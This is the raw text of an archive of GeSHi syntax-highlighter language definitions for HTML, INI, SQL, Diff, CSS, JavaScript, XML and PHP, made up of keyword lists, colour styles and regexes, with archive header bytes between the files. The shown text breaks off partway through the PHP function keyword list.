'ul', 'u', 'var', ), 3 => array( 'abbr', 'accept-charset', 'accept', 'accesskey', 'action', 'align', 'alink', 'alt', 'archive', 'axis', 'background', 'bgcolor', 'border', 'cellpadding', 'cellspacing', 'char', 'charoff', 'charset', 'checked', 'cite', 'class', 'classid', 'clear', 'code', 'codebase', 'codetype', 'color', 'cols', 'colspan', 'compact', 'content', 'coords', 'data', 'datetime', 'declare', 'defer', 'dir', 'disabled', 'enctype', 'face', 'for', 'frame', 'frameborder', 'headers', 'height', 'href', 'hreflang', 'hspace', 'http-equiv', 'id', 'ismap', 'label', 'lang', 'language', 'link', 'longdesc', 'marginheight', 'marginwidth', 'maxlength', 'media', 'method', 'multiple', 'name', 'nohref', 'noresize', 'noshade', 'nowrap', 'object', 'onblur', 'onchange', 'onclick', 'ondblclick', 'onfocus', 'onkeydown', 'onkeypress', 'onkeyup', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onreset', 'onselect', 'onsubmit', 'onunload', 'profile', 'prompt', 'readonly', 'rel', 'rev', 'rowspan', 'rows', 'rules', 'scheme', 'scope', 'scrolling', 'selected', 'shape', 'size', 'span', 'src', 'standby', 'start', 'style', 'summary', 'tabindex', 'target', 'text', 'title', 'type', 'usemap', 'valign', 'value', 'valuetype', 'version', 'vlink', 'vspace', 'width' ) ), 'SYMBOLS' => array( '/', '=' ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false, 2 => false, 3 => false, ), 'STYLES' => array( 'KEYWORDS' => array( 2 => 'color: #000000; font-weight: bold;', 3 => 'color: #000066;' ), 'COMMENTS' => array( ), 'ESCAPE_CHAR' => array( 0 => 'color: #000099; font-weight: bold;' ), 'BRACKETS' => array( 0 => 'color: #66cc66;' ), 'STRINGS' => array( 0 => 'color: #ff0000;' ), 'NUMBERS' => array( 0 => 'color: #cc66cc;' ), 'METHODS' => array( ), 'SYMBOLS' => array( 0 => 'color: #66cc66;' ), 'SCRIPT' => array( -2 => 'color: #404040;', // CDATA -1 => 'color: #808080; font-style: italic;', // comments 0 => 'color: #00bbdd;', 1 => 'color: #ddbb00;', 2 => 'color: #009900;' ), 'REGEXPS' => array( ) ), 'URLS' => array( 2 => 'http://december.com/html/4/element/{FNAMEL}.html', 3 => '' ), 'OOLANG' => false, 'OBJECT_SPLITTERS' => array( ), 'REGEXPS' => array( ), 'STRICT_MODE_APPLIES' => GESHI_ALWAYS, 'SCRIPT_DELIMITERS' => array( -2 => array( ' ']]>' ), -1 => array( '' ), 0 => array( ' '>' ), 1 => array( '&' => ';' ), 2 => array( '<' => '>' ) ), 'HIGHLIGHT_STRICT_BLOCK' => array( -2 => false, -1 => false, 0 => false, 1 => false, 2 => true ), 'TAB_WIDTH' => 4, 'PARSER_CONTROL' => array( 'KEYWORDS' => array( 2 => array( 'DISALLOWED_BEFORE' => '(?<=<|<\/)', 'DISALLOWED_AFTER' => '(?=\s|\/|>)', ) ) ) ); ?> PK>\)geshi/geshi/geshi/.htaccessnuW+A Order allow,deny Deny from all PK>\g22geshi/geshi/geshi/ini.phpnuW+A 'INI', 'COMMENT_SINGLE' => array(0 => ';'), 'COMMENT_MULTI' => array(), 'CASE_KEYWORDS' => GESHI_CAPS_NO_CHANGE, 'QUOTEMARKS' => array('"'), 'ESCAPE_CHAR' => '', 'KEYWORDS' => array( ), 'SYMBOLS' => array( '[', ']', '=' ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false ), 'STYLES' => array( 'KEYWORDS' => array( ), 'COMMENTS' => array( 0 => 'color: #666666; font-style: italic;' ), 'ESCAPE_CHAR' => array( 0 => '' ), 'BRACKETS' => array( 0 => '' ), 'STRINGS' => array( 0 => 'color: #933;' ), 'NUMBERS' => array( 0 => '' ), 'METHODS' => array( 0 => '' ), 'SYMBOLS' => array( 0 => 'color: #000066; font-weight:bold;' ), 'REGEXPS' => array( 0 => 'color: #000066; font-weight:bold;', 1 => 'color: #000099;', 2 => 'color: #660066;' ), 'SCRIPT' => array( 0 => '' ) ), 'URLS' => array( ), 'OOLANG' => false, 'OBJECT_SPLITTERS' => array( ), 'REGEXPS' => array( //Section names 0 => '\[.+\]', //Entry names 1 => array( GESHI_SEARCH => '^(\s*)([a-zA-Z0-9_\-]+)(\s*=)', GESHI_REPLACE => '\\2', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '\\1', GESHI_AFTER => '\\3' ), //Entry values 2 => array( // Evil hackery to get around GeSHi bug: <>" and ; are added so s can be matched // Explicit match on variable names because if a comment is before the first < of the span // gets chewed up... GESHI_SEARCH => '([<>";a-zA-Z0-9_]+\s*)=(.*)', GESHI_REPLACE => '\\2', GESHI_MODIFIERS => '', GESHI_BEFORE => '\\1=', GESHI_AFTER => '' ) ), 'STRICT_MODE_APPLIES' => GESHI_NEVER, 'SCRIPT_DELIMITERS' => array( ), 'HIGHLIGHT_STRICT_BLOCK' => array( ) ); ?> PK>\"geshi/geshi/geshi/sql.phpnuW+A 'SQL', 'COMMENT_SINGLE' => array(1 =>'--'), 'COMMENT_MULTI' => array('/*' => '*/'), 'CASE_KEYWORDS' => 1, 'QUOTEMARKS' => array("'", '"', '`'), 'ESCAPE_CHAR' => '\\', 'KEYWORDS' => array( 1 => array( 'ADD', 'ALL', 'ALTER', 'AND', 'AS', 'ASC', 'AUTO_INCREMENT', 'BEFORE', 'BEGIN', 'BETWEEN', 'BIGINT', 'BINARY', 'BLOB', 'BOOLEAN', 'BOTH', 'BY', 'CALL', 'CASE', 'CAST', 'CEIL', 'CEILING', 'CHANGE', 'CHAR', 'CHAR_LENGTH', 'CHARACTER', 'CHARACTER_LENGTH', 'CHECK', 'CLOB', 'COALESCE', 'COLLATE', 'COLUMN', 'COLUMNS', 'CONNECT', 'CONSTRAINT', 'CONVERT', 'COUNT', 'CREATE', 'CROSS', 'CURRENT', 'CURRENT_DATE', 'CURRENT_TIME', 'CURRENT_TIMESTAMP', 'CURRENT_USER', 'DATA', 'DATABASE', 'DATABASES', 'DATE', 'DAY', 'DEC', 'DECIMAL', 'DECLARE', 'DEFAULT', 'DELAYED', 'DELETE', 'DESC', 'DESCRIBE', 'DISTINCT', 'DOUBLE', 'DOMAIN', 'DROP', 'ELSE', 'ENCLOSED', 'END', 'ESCAPED', 'EXCEPT', 'EXEC', 'EXECUTE', 'EXISTS', 'EXP', 'EXPLAIN', 'EXTRACT', 'FALSE', 'FIELD', 'FIELDS', 'FILTER', 'FIRST', 'FLOAT', 'FLOOR', 'FLUSH', 'FOR', 'FOREIGN', 'FROM', 'FULL', 'FUNCTION', 'GET', 'GROUP', 'GROUPING', 'GO', 'GOTO', 'GRANT', 'GRANTED', 'HAVING', 'HOUR', 'IDENTIFIED', 'IDENTITY', 'IF', 'IGNORE', 'IN', 'INCREMENT', 'INDEX', 'INFILE', 'INNER', 'INOUT', 'INPUT', 'INSERT', 'INT', 'INTEGER', 'INTERSECT', 'INTERSECTION', 'INTERVAL', 'INTO', 'IS', 'JOIN', 'KEY', 'KEYS', 'KILL', 'LANGUAGE', 'LARGE', 'LAST', 'LEADING', 'LEFT', 'LENGTH', 'LIKE', 'LIMIT', 'LINES', 'LOAD', 'LOCAL', 'LOCK', 'LOW_PRIORITY', 'LOWER', 'MATCH', 'MAX', 'MERGE', 'MIN', 'MINUTE', 'MOD', 'MODIFIES', 'MODIFY', 'MONTH', 'NATIONAL', 'NATURAL', 'NCHAR', 'NEW', 'NEXT', 'NEXTVAL', 'NONE', 'NOT', 'NULL', 'NULLABLE', 'NULLIF', 'NULLS', 'NUMBER', 'NUMERIC', 'OF', 'OLD', 'ON', 'ONLY', 'OPEN', 'OPTIMIZE', 'OPTION', 'OPTIONALLY', 'OR', 'ORDER', 'OUT', 'OUTER', 'OUTFILE', 'OVER', 'POSITION', 'POWER', 'PRECISION', 'PREPARE', 'PRIMARY', 'PROCEDURAL', 'PROCEDURE', 'READ', 'REAL', 'REF', 'REFERENCES', 'REFERENCING', 'REGEXP', 'RENAME', 'REPLACE', 'RESULT', 'RETURN', 'RETURNS', 'REVOKE', 'RIGHT', 'RLIKE', 'ROLLBACK', 'ROW', 'ROW_NUMBER', 'ROWS', 'RESTRICT', 'ROLE', 'ROUTINE', 'ROW_COUNT', 'SAVEPOINT', 'SEARCH', 'SECOND', 'SECTION', 'SELECT', 'SELF', 'SEQUENCE', 'SESSION', 'SET', 'SETVAL', 'SHOW', 'SIMILAR', 'SIZE', 'SMALLINT', 'SOME', 'SONAME', 'SOURCE', 'SPACE', 'SQL', 'SQRT', 'START', 'STATUS', 'STRAIGHT_JOIN', 'STRUCTURE', 'STYLE', 'SUBSTRING', 'SUM', 'TABLE', 'TABLE_NAME', 'TABLES', 'TERMINATED', 'TEMPORARY', 'THEN', 'TIME', 'TIMESTAMP', 'TO', 'TRAILING', 'TRANSACTION', 'TRIGGER', 'TRIM', 'TRUE', 'TRUNCATE', 'TRUSTED', 'TYPE', 'UNDER', 'UNION', 'UNIQUE', 'UNKNOWN', 'UNLOCK', 'UNSIGNED', 'UPDATE', 'UPPER', 'USE', 'USER', 'USING', 'VALUE', 'VALUES', 'VARCHAR', 'VARIABLES', 'VARYING', 'VIEW', 'WHEN', 'WHERE', 'WITH', 'WITHIN', 'WITHOUT', 'WORK', 'WRITE', 'XOR', 'YEAR', 'ZEROFILL' ) ), 'SYMBOLS' => array( '(', ')', '=', '<', '>', '|', ',', '.', '+', '-', '*', '/' ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false, 1 => false ), 'STYLES' => array( 'KEYWORDS' => array( 1 => 'color: #993333; font-weight: bold;' ), 'COMMENTS' => array( 1 => 'color: #808080; font-style: italic;', //2 => 'color: #808080; font-style: italic;', 'MULTI' => 'color: #808080; font-style: italic;' ), 'ESCAPE_CHAR' => array( 0 => 'color: #000099; font-weight: bold;' ), 'BRACKETS' => array( 0 => 'color: #66cc66;' ), 'STRINGS' => array( 0 => 'color: #ff0000;' ), 'NUMBERS' => array( 0 => 'color: #cc66cc;' ), 'METHODS' => array( ), 'SYMBOLS' => array( 0 => 'color: #66cc66;' ), 'SCRIPT' => array( ), 'REGEXPS' => array( ) ), 'URLS' => array( 1 => '' ), 'OOLANG' => false, 'OBJECT_SPLITTERS' => array( ), 'REGEXPS' => array( ), 'STRICT_MODE_APPLIES' => GESHI_NEVER, 'SCRIPT_DELIMITERS' => array( ), 'HIGHLIGHT_STRICT_BLOCK' => array( ) ); ?> PK>\l7egeshi/geshi/geshi/diff.phpnuW+A 'Diff', 'COMMENT_SINGLE' => array(), 'COMMENT_MULTI' => array(), 'CASE_KEYWORDS' => GESHI_CAPS_NO_CHANGE, 'QUOTEMARKS' => array(), 'ESCAPE_CHAR' => ' ', 'KEYWORDS' => array( 1 => array( '\ No newline at end of file' ), // 2 => array( // '***************' /* This only seems to works in some cases? */ // ), ), 'SYMBOLS' => array( ), 'CASE_SENSITIVE' => array( 1 => false, // 2 => false ), 'STYLES' => array( 'KEYWORDS' => array( 1 => 'color: #aaaaaa; font-style: italic;', // 2 => 'color: #dd6611;', ), 'COMMENTS' => array( ), 'ESCAPE_CHAR' => array( 0 => '' ), 'BRACKETS' => array( 0 => '' ), 'STRINGS' => array( 0 => '' ), 'NUMBERS' => array( 0 => '' ), 'METHODS' => array( 0 => '' ), 'SYMBOLS' => array( 0 => '' ), 'SCRIPT' => array( 0 => '' ), 'REGEXPS' => array( 0 => 'color: #440088;', 1 => 'color: #991111;', 2 => 'color: #00b000;', 3 => 'color: #888822;', 4 => 'color: #888822;', 5 => 'color: #0011dd;', 6 => 'color: #440088;', 7 => 'color: #991111;', 8 => 'color: #00b000;', 9 => 'color: #888822;', ), ), 'URLS' => array( 1 => '', // 2 => '' ), 'OOLANG' => false, 'OBJECT_SPLITTERS' => array(), 'REGEXPS' => array( 0 => "[0-9,]+[acd][0-9,]+", //Removed lines 1 => array( GESHI_SEARCH => '(^|(?<=\A\s))\\<.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), //Inserted lines 2 => array( GESHI_SEARCH => '(^|(?<=\A\s))\\>.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), //Location line 3 => array( GESHI_SEARCH => '(^|(?<=\A\s))-{3}\\s.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), //Inserted line 4 => array( GESHI_SEARCH => '(^|(?<=\A\s))(\\+){3}\\s.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), //Modified line 5 => array( GESHI_SEARCH => '(^|(?<=\A\s))\\!.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), //File specification 6 => array( GESHI_SEARCH => '(^|(?<=\A\s))[\\@]{2}.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), //Removed line 7 => array( GESHI_SEARCH => '(^|(?<=\A\s))\\-.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), //Inserted line 8 => array( GESHI_SEARCH => '(^|(?<=\A\s))\\+.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), //File specification 9 => array( GESHI_SEARCH => '(^|(?<=\A\s))(\\*){3}\\s.*$', GESHI_REPLACE => '\\0', GESHI_MODIFIERS => 'm', GESHI_BEFORE => '', GESHI_AFTER => '' ), ), 'STRICT_MODE_APPLIES' => GESHI_NEVER, 'SCRIPT_DELIMITERS' => array( ), 'HIGHLIGHT_STRICT_BLOCK' => array( ) ); ?> PK>\a&&geshi/geshi/geshi/css.phpnuW+A 'CSS', 'COMMENT_SINGLE' => array(1 => '@'), 'COMMENT_MULTI' => array('/*' => '*/'), 'COMMENT_REGEXP' => array( 2 => "/(?<=\\()\\s*(?:(?:[a-z0-9]+?:\\/\\/)?[a-z0-9_\\-\\.\\/:]+?)?[a-z]+?\\.[a-z]+?(\\?[^\)]+?)?\\s*?(?=\\))/i" ), 'CASE_KEYWORDS' => GESHI_CAPS_NO_CHANGE, 'QUOTEMARKS' => array('"', "'"), 'ESCAPE_CHAR' => '', 'ESCAPE_REGEXP' => array( //Simple Single Char Escapes //1 => "#\\\\[nfrtv\$\"\n\\\\]#i", //Hexadecimal Char Specs 2 => "#\\\\[\da-fA-F]{1,6}\s?#i", //Unicode Char Specs //3 => "#\\\\u[\da-fA-F]{1,8}#i", ), 'KEYWORDS' => array( 1 => array( 'aqua', 'azimuth', 'background-attachment', 'background-color', 'background-image', 'background-position', 'background-repeat', 'background', 'black', 'blue', 'border-bottom-color', 'border-bottom-style', 'border-bottom-width', 'border-left-color', 'border-left-style', 'border-left-width', 'border-right', 'border-right-color', 'border-right-style', 'border-right-width', 'border-top-color', 'border-top-style', 'border-top-width','border-bottom', 'border-collapse', 'border-left', 'border-width', 'border-color', 'border-spacing', 'border-style', 'border-top', 'border', 'caption-side', 'clear', 'clip', 'color', 'content', 'counter-increment', 'counter-reset', 'cue-after', 'cue-before', 'cue', 'cursor', 'direction', 'display', 'elevation', 'empty-cells', 'float', 'font-family', 'font-size', 'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'font', 'line-height', 'letter-spacing', 'list-style', 'list-style-image', 'list-style-position', 'list-style-type', 'margin-bottom', 'margin-left', 'margin-right', 'margin-top', 'margin', 'marker-offset', 'marks', 'max-height', 'max-width', 'min-height', 'min-width', 'orphans', 'outline', 'outline-color', 'outline-style', 'outline-width', 'overflow', 'padding-bottom', 'padding-left', 'padding-right', 'padding-top', 'padding', 'page', 'page-break-after', 'page-break-before', 'page-break-inside', 'pause-after', 'pause-before', 'pause', 'pitch', 'pitch-range', 'play-during', 'position', 'quotes', 'richness', 'right', 'size', 'speak-header', 'speak-numeral', 'speak-punctuation', 'speak', 'speech-rate', 'stress', 'table-layout', 'text-align', 'text-decoration', 'text-indent', 'text-shadow', 'text-transform', 'top', 'unicode-bidi', 'vertical-align', 'visibility', 'voice-family', 'volume', 'white-space', 'widows', 'width', 'word-spacing', 'z-index', 'bottom', 'left', 'height' ), 2 => array( 'above', 'absolute', 'always', 'armenian', 'aural', 'auto', 'avoid', 'baseline', 'behind', 'below', 'bidi-override', 'blink', 'block', 'bold', 'bolder', 'both', 'capitalize', 'center-left', 'center-right', 'center', 'circle', 'cjk-ideographic', 'close-quote', 'collapse', 'condensed', 'continuous', 'crop', 'crosshair', 'cross', 'cursive', 'dashed', 'decimal-leading-zero', 'decimal', 'default', 'digits', 'disc', 'dotted', 'double', 'e-resize', 'embed', 'extra-condensed', 'extra-expanded', 'expanded', 'fantasy', 'far-left', 'far-right', 'faster', 'fast', 'fixed', 'fuchsia', 'georgian', 'gray', 'green', 'groove', 'hebrew', 'help', 'hidden', 'hide', 'higher', 'high', 'hiragana-iroha', 'hiragana', 'icon', 'inherit', 'inline-table', 'inline', 'inset', 'inside', 'invert', 'italic', 'justify', 'katakana-iroha', 'katakana', 'landscape', 'larger', 'large', 'left-side', 'leftwards', 'level', 'lighter', 'lime', 'line-through', 'list-item', 'loud', 'lower-alpha', 'lower-greek', 'lower-roman', 'lowercase', 'ltr', 'lower', 'low', 'maroon', 'medium', 'message-box', 'middle', 'mix', 'monospace', 'n-resize', 'narrower', 'navy', 'ne-resize', 'no-close-quote', 'no-open-quote', 'no-repeat', 'none', 'normal', 'nowrap', 'nw-resize', 'oblique', 'olive', 'once', 'open-quote', 'outset', 'outside', 'overline', 'pointer', 'portrait', 'purple', 'px', 'red', 'relative', 'repeat-x', 'repeat-y', 'repeat', 'rgb', 'ridge', 'right-side', 'rightwards', 's-resize', 'sans-serif', 'scroll', 'se-resize', 'semi-condensed', 'semi-expanded', 'separate', 'serif', 'show', 'silent', 'silver', 'slow', 'slower', 'small-caps', 'small-caption', 'smaller', 'soft', 'solid', 'spell-out', 'square', 'static', 'status-bar', 'super', 'sw-resize', 'table-caption', 'table-cell', 'table-column', 'table-column-group', 'table-footer-group', 'table-header-group', 'table-row', 'table-row-group', 'teal', 'text', 'text-bottom', 'text-top', 'thick', 'thin', 'transparent', 'ultra-condensed', 'ultra-expanded', 'underline', 'upper-alpha', 'upper-latin', 'upper-roman', 'uppercase', 'url', 'visible', 'w-resize', 'wait', 'white', 'wider', 'x-fast', 'x-high', 'x-large', 'x-loud', 'x-low', 'x-small', 'x-soft', 'xx-large', 'xx-small', 'yellow', 'yes' ) ), 'SYMBOLS' => array( '(', ')', '{', '}', ':', ';', '>', '+', '*', ',', '^', '=' ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false, 1 => true, 2 => true ), 'STYLES' => array( 'KEYWORDS' => array( 1 => 'color: #000000; font-weight: bold;', 2 => 'color: #993333;' ), 'COMMENTS' => array( 1 => 'color: #a1a100;', 2 => 'color: #ff0000; font-style: italic;', 'MULTI' => 'color: #808080; font-style: italic;' ), 'ESCAPE_CHAR' => array( 0 => 'color: #000099; font-weight: bold;', //1 => 'color: #000099; font-weight: bold;', 2 => 'color: #000099; font-weight: bold;' //3 => 'color: #000099; font-weight: bold;' ), 'BRACKETS' => array( 0 => 'color: #00AA00;' ), 'STRINGS' => array( 0 => 'color: #ff0000;' ), 'NUMBERS' => array( 0 => 'color: #cc66cc;' ), 'METHODS' => array( ), 'SYMBOLS' => array( 0 => 'color: #00AA00;' ), 'SCRIPT' => array( ), 'REGEXPS' => array( 0 => 'color: #cc00cc;', 1 => 'color: #6666ff;', 2 => 'color: #3333ff;', 3 => 'color: #933;' ) ), 'URLS' => array( 1 => '', 2 => '' ), 'OOLANG' => false, 'OBJECT_SPLITTERS' => array( ), 'REGEXPS' => array( //DOM Node ID 0 => '\#[a-zA-Z0-9\-_]+(?:\\\\:[a-zA-Z0-9\-_]+)*', //CSS classname 1 => '\.(?!\d)[a-zA-Z0-9\-_]+(?:\\\\:[a-zA-Z0-9\-_]+)*\b(?=[\{\.#\s,:].|<\|)', //CSS Pseudo classes //note: & is needed for > (i.e. > ) 2 => '(? '[+\-]?(\d+|(\d*\.\d+))(em|ex|pt|px|cm|in|%)', ), 'STRICT_MODE_APPLIES' => GESHI_NEVER, 'SCRIPT_DELIMITERS' => array( ), 'HIGHLIGHT_STRICT_BLOCK' => array( ), 'TAB_WIDTH' => 4, 'PARSER_CONTROL' => array( 'KEYWORDS' => array( 'DISALLOWED_AFTER' => '(?![a-zA-Z0-9_\|%\\-&\.])' ) ) ); ?> PK>\8Dee geshi/geshi/geshi/javascript.phpnuW+A 'Javascript', 'COMMENT_SINGLE' => array(1 => '//'), 'COMMENT_MULTI' => array('/*' => '*/'), 'COMMENT_REGEXP' => array( //Regular Expressions 2 => "/(?<=[\\s^])(s|tr|y)\\/(?!\*)(?!\s)(?:\\\\.|(?!\n)[^\\/\\\\])+(? GESHI_CAPS_NO_CHANGE, 'QUOTEMARKS' => array("'", '"'), 'ESCAPE_CHAR' => '\\', 'KEYWORDS' => array( 1 => array( 'as', 'break', 'case', 'catch', 'continue', 'decodeURI', 'delete', 'do', 'else', 'encodeURI', 'eval', 'finally', 'for', 'if', 'in', 'is', 'item', 'instanceof', 'return', 'switch', 'this', 'throw', 'try', 'typeof', 'void', 'while', 'write', 'with' ), 2 => array( 'class', 'const', 'default', 'debugger', 'export', 'extends', 'false', 'function', 'import', 'namespace', 'new', 'null', 'package', 'private', 'protected', 'public', 'super', 'true', 'use', 'var' ), 3 => array( // common functions for Window object 'alert', 'back', 'blur', 'close', 'confirm', 'focus', 'forward', 'home', 'name', 'navigate', 'onblur', 'onerror', 'onfocus', 'onload', 'onmove', 'onresize', 'onunload', 'open', 'print', 'prompt', 'scroll', 'status', 'stop', ) ), 'SYMBOLS' => array( '(', ')', '[', ']', '{', '}', '+', '-', '*', '/', '%', '!', '@', '&', '|', '^', '<', '>', '=', ',', ';', '?', ':' ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false, 1 => false, 2 => false, 3 => false ), 'STYLES' => array( 'KEYWORDS' => array( 1 => 'color: #000066; font-weight: bold;', 2 => 'color: #003366; font-weight: bold;', 3 => 'color: #000066;' ), 'COMMENTS' => array( 1 => 'color: #006600; font-style: italic;', 2 => 'color: #009966; font-style: italic;', 'MULTI' => 'color: #006600; font-style: italic;' ), 'ESCAPE_CHAR' => array( 0 => 'color: #000099; font-weight: bold;' ), 'BRACKETS' => array( 0 => 'color: #009900;' ), 'STRINGS' => array( 0 => 'color: #3366CC;' ), 'NUMBERS' => array( 0 => 'color: #CC0000;' ), 'METHODS' => array( 1 => 'color: #660066;' ), 'SYMBOLS' => array( 0 => 'color: #339933;' ), 'REGEXPS' => array( ), 'SCRIPT' => array( 0 => '', 1 => '', 2 => '', 3 => '' ) ), 'URLS' => array( 1 => '', 2 => '', 3 => '' ), 'OOLANG' => true, 'OBJECT_SPLITTERS' => array( 1 => '.' ), 'REGEXPS' => array( ), 'STRICT_MODE_APPLIES' => GESHI_MAYBE, 'SCRIPT_DELIMITERS' => array( 0 => array( '' ), 1 => array( '' ) ), 'HIGHLIGHT_STRICT_BLOCK' => array( 0 => true, 1 => true ) ); ?> PK>\ Jgeshi/geshi/geshi/xml.phpnuW+A 'XML', 'COMMENT_SINGLE' => array(), 'COMMENT_MULTI' => array(), 'CASE_KEYWORDS' => GESHI_CAPS_NO_CHANGE, 'QUOTEMARKS' => array("'", '"'), 'ESCAPE_CHAR' => '', 'KEYWORDS' => array( ), 'SYMBOLS' => array( ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false, ), 'STYLES' => array( 'KEYWORDS' => array( ), 'COMMENTS' => array( ), 'ESCAPE_CHAR' => array( 0 => 'color: #000099; font-weight: bold;' ), 'BRACKETS' => array( 0 => 'color: #66cc66;' ), 'STRINGS' => array( 0 => 'color: #ff0000;' ), 'NUMBERS' => array( 0 => 'color: #cc66cc;' ), 'METHODS' => array( ), 'SYMBOLS' => array( 0 => 'color: #66cc66;' ), 'SCRIPT' => array( -1 => 'color: #808080; font-style: italic;', // comments 0 => 'color: #00bbdd;', 1 => 'color: #ddbb00;', 2 => 'color: #339933;', 3 => 'color: #009900;' ), 'REGEXPS' => array( 0 => 'color: #000066;', 1 => 'color: #000000; font-weight: bold;', 2 => 'color: #000000; font-weight: bold;' ) ), 'URLS' => array( ), 'OOLANG' => false, 'OBJECT_SPLITTERS' => array( ), 'REGEXPS' => array( 0 => array(//attribute names GESHI_SEARCH => '([a-z_:][\w\-\.:]*)(=)', GESHI_REPLACE => '\\1', GESHI_MODIFIERS => 'i', GESHI_BEFORE => '', GESHI_AFTER => '\\2' ), 1 => array(//Initial header line GESHI_SEARCH => '(<[\/?|(\?xml)]?[a-z_:][\w\-\.:]*(\??>)?)', GESHI_REPLACE => '\\1', GESHI_MODIFIERS => 'i', GESHI_BEFORE => '', GESHI_AFTER => '' ), 2 => array(//Tag end markers GESHI_SEARCH => '(([\/|\?])?>)', GESHI_REPLACE => '\\1', GESHI_MODIFIERS => 'i', GESHI_BEFORE => '', GESHI_AFTER => '' ), ), 'STRICT_MODE_APPLIES' => GESHI_ALWAYS, 'SCRIPT_DELIMITERS' => array( -1 => array( '' ), 0 => array( ' '>' ), 1 => array( '&' => ';' ), 2 => array( ' ']]>' ), 3 => array( '<' => '>' ) ), 'HIGHLIGHT_STRICT_BLOCK' => array( -1 => false, 0 => false, 1 => false, 2 => false, 3 => true ), 'TAB_WIDTH' => 2, 'PARSER_CONTROL' => array( 'ENABLE_FLAGS' => array( 'NUMBERS' => GESHI_NEVER ) ) ); ?> PK>\GI>>geshi/geshi/geshi/php-brief.phpnuW+A 'PHP (brief)', 'COMMENT_SINGLE' => array(1 => '//', 2 => '#'), 'COMMENT_MULTI' => array('/*' => '*/'), //Heredoc and Nowdoc syntax 'COMMENT_REGEXP' => array(3 => '/<<<\s*?(\'?)([a-zA-Z0-9]+)\1[^\n]*?\\n.*\\n\\2(?![a-zA-Z0-9])/siU'), 'CASE_KEYWORDS' => GESHI_CAPS_NO_CHANGE, 'QUOTEMARKS' => array("'", '"'), 'ESCAPE_CHAR' => '\\', 'HARDQUOTE' => array("'", "'"), 'HARDESCAPE' => array("\'"), 'NUMBERS' => GESHI_NUMBER_INT_BASIC | GESHI_NUMBER_OCT_PREFIX | GESHI_NUMBER_HEX_PREFIX | GESHI_NUMBER_FLT_SCI_ZERO, 'KEYWORDS' => array( 1 => array( 'include', 'require', 'include_once', 'require_once', 'for', 'as', 'foreach', 'if', 'elseif', 'else', 'while', 'do', 'endwhile', 'endif', 'switch', 'case', 'endswitch', 'return', 'break' ), 2 => array( 'null', '__LINE__', '__FILE__', 'false', '<?php', 'true', 'var', 'default', 'function', 'class', 'new', '&new', 'public', 'private', 'interface', 'extends', 'const', 'self' ), 3 => array( 'func_num_args', 'func_get_arg', 'func_get_args', 'strlen', 'strcmp', 'strncmp', 'strcasecmp', 'strncasecmp', 'each', 'error_reporting', 'define', 'defined', 'trigger_error', 'user_error', 'set_error_handler', 'restore_error_handler', 'get_declared_classes', 'get_loaded_extensions', 'extension_loaded', 'get_extension_funcs', 'debug_backtrace', 'constant', 'bin2hex', 'sleep', 'usleep', 'time', 'mktime', 'gmmktime', 'strftime', 'gmstrftime', 'strtotime', 'date', 'gmdate', 'getdate', 'localtime', 'checkdate', 'flush', 'wordwrap', 'htmlspecialchars', 'htmlentities', 'html_entity_decode', 'md5', 'md5_file', 'crc32', 'getimagesize', 'image_type_to_mime_type', 'phpinfo', 'phpversion', 'phpcredits', 'strnatcmp', 'strnatcasecmp', 'substr_count', 'strspn', 'strcspn', 'strtok', 'strtoupper', 'strtolower', 'strpos', 'strrpos', 'strrev', 'hebrev', 'hebrevc', 'nl2br', 'basename', 'dirname', 'pathinfo', 'stripslashes', 'stripcslashes', 'strstr', 'stristr', 'strrchr', 'str_shuffle', 'str_word_count', 'strcoll', 'substr', 'substr_replace', 'quotemeta', 'ucfirst', 'ucwords', 'strtr', 'addslashes', 'addcslashes', 'rtrim', 'str_replace', 'str_repeat', 'count_chars', 'chunk_split', 'trim', 'ltrim', 'strip_tags', 'similar_text', 'explode', 'implode', 'setlocale', 'localeconv', 'parse_str', 'str_pad', 'chop', 'strchr', 'sprintf', 'printf', 'vprintf', 'vsprintf', 'sscanf', 'fscanf', 'parse_url', 'urlencode', 'urldecode', 'rawurlencode', 'rawurldecode', 'readlink', 'linkinfo', 'link', 'unlink', 'exec', 'system', 'escapeshellcmd', 'escapeshellarg', 'passthru', 'shell_exec', 'proc_open', 'proc_close', 'rand', 'srand', 'getrandmax', 'mt_rand', 'mt_srand', 'mt_getrandmax', 'base64_decode', 'base64_encode', 'abs', 'ceil', 'floor', 'round', 'is_finite', 'is_nan', 'is_infinite', 'bindec', 'hexdec', 'octdec', 'decbin', 'decoct', 'dechex', 'base_convert', 'number_format', 'fmod', 'ip2long', 'long2ip', 'getenv', 'putenv', 'getopt', 'microtime', 'gettimeofday', 'getrusage', 'uniqid', 'quoted_printable_decode', 'set_time_limit', 'get_cfg_var', 'magic_quotes_runtime', 'set_magic_quotes_runtime', 'get_magic_quotes_gpc', 'get_magic_quotes_runtime', 'import_request_variables', 'error_log', 'serialize', 'unserialize', 'memory_get_usage', 'var_dump', 'var_export', 'debug_zval_dump', 'print_r','highlight_file', 'show_source', 'highlight_string', 'ini_get', 'ini_get_all', 'ini_set', 'ini_alter', 'ini_restore', 'get_include_path', 'set_include_path', 'restore_include_path', 'setcookie', 'header', 'headers_sent', 'connection_aborted', 